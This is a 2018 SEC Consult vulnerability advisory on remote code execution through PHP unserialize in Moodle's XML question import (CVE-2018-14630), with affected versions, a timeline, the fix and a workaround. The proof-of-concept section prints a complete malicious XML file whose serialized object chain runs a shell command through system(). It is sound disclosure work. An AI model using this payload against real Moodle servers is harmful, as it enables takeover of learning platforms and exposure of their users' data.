SEC Consult SA-20180918-0 :: Remote Code Execution via PHP- unserialize in Moodle open-source learning platform

From: SEC Consult Vulnerability Lab <research@sec-consult.com>
To: bugtraq@securityfocus.com,fulldisclosure@seclists.org
Cc:
Subject: SEC Consult SA-20180918-0 :: Remote Code Execution via PHP- unserialize in Moodle open-source learning platform
Date:


SEC Consult Vulnerability Lab Security Advisory < 20180918-0 >
=======================================================================
              title: Remote Code Execution via PHP unserialize
            product: Moodle - Open-source learning platform
 vulnerable version: 3.5 to 3.5.1, 3.4 to 3.4.4, 3.1 to 3.1.13 and
                     earlier unsupported versions
      fixed version: 3.5.2, 3.4.5, 3.3.8 and 3.1.14
         CVE number: CVE-2018-14630
             impact: critical
           homepage: https://moodle.org/
              found: 2018-07-08
                 by: Johannes Moritz (Office Berlin)
                     SEC Consult Vulnerability Lab

                     An integrated part of SEC Consult
                     Europe | Asia | North America

                     https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"Moodle is a learning platform designed to provide educators, administrators
and learners with a single robust, secure and integrated system to create
personalised learning environments. Powering tens of thousands of learning
environments globally, Moodle is trusted by institutions and organisations
large and small, including Shell, London School of Economics,
State University of New York, Microsoft and the Open University. Moodle’s
worldwide numbers of more than 90 million users across both academic and
enterprise level usage makes it the world’s most widely used learning platform."

Source: https://moodle.org/about


Business recommendation:
------------------------
The vendor provides a patch which should be installed immediately.

SEC Consult recommends to perform a thorough security review conducted by
security professionals to identify and resolve all security issues.


Vulnerability overview/description:
-----------------------------------
1) Remote Code Execution via PHP unserialize (CVE-2018-14630)
When importing a "drag and drop into text" (ddwtos) question in the legacy
Moodle XML format, the passed feedback answer is used unsanitized in an
unserialize() function, which leads to a PHP Object Injection vulnerability.
By providing a sophisticated PHP Object chain it is possible to leverage the
POI into a fully-blown arbitrary Remote Code Execution (RCE).

To exploit this vulnerability an attacker needs permissions to create a quiz
or at least be able to import questions. A user of the role teacher usually has
these permissions. However, students can also be assigned to the role teacher for
a specific course.


Proof of concept:
-----------------
1) Remote Code Execution via PHP unserialize (CVE-2018-14630)
In order to exploit this issue an attacker has to open Moodle's question bank
for a specific course and import the following Moodle XML file. The answer
feedback contains a sophisticated PHP object chain which only contains objects
from Moodles library. After the parsing process the command "echo `whoami`" is
being executed.

<?xml version="1.0" encoding="UTF-8"?>
<quiz>
  <question type="ddwtos">
    <name>
      <text>question name</text>
    </name>
    <questiontext format="html">
      <text><![CDATA[<p>How is the weather?<br></p>]]></text>
    </questiontext>
 <answer fraction="100">
  <feedback format="html">
     <text>

O:15:"\\core\\lock\\lock":2:{s:3:"key";O:23:"\\core_availability\\tree":1:{s:8:"children";O:24:"\\core\\dml\\recordset_walk":2:{s:8:"callback";s:6:"system";s:9:"recordset";O:25:"question_attempt_iterator":2:

{s:4:"quba";O:26:"question_usage_by_activity":1:{s:16:"questionattempts";a:1:{s:4:"1337";s:13:"echo
`whoami`";}}s:5:"slots";a:1:{i:0;i:1337;}}}}s:8:"infinite";i:1;}
     </text>
  </feedback>
 </answer>
  </question>
</quiz>


Vulnerable / tested versions:
-----------------------------
The following version has been tested which was the most recent one at the
time of the test:

* 3.5.1+

According to the vendor, all previous versions are affected as well:
* 3.5 to 3.5.1, 3.4 to 3.4.4, 3.1 to 3.1.13 and earlier unsupported versions


Vendor contact timeline:
------------------------
2018-07-08: Vulnerability identified, further analysis (credits to Robin Peraglie
            from RIPS Technologies)
2018-07-09: Contacting vendor through tracker.moodle.org (issue [MDL-62880]
            created)
2018-07-09: Vendor replied and supplied a fix for the vulnerability
2018-09-10: Vendor releases patched version
2018-09-18: Public release of security advisory


Solution:
---------
The vendor provides a patched version (3.5.2) which should be installed immediately:
https://download.moodle.org/releases/latest/

The vendor also provided a security advisory regarding this issue:
https://moodle.org/mod/forum/discuss.php?d=376023#p1516118


Workaround:
-----------
Disable import of ddwtos questions through XML files.


Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Europe | Asia | North America

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

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EOF J. Moritz / @2018





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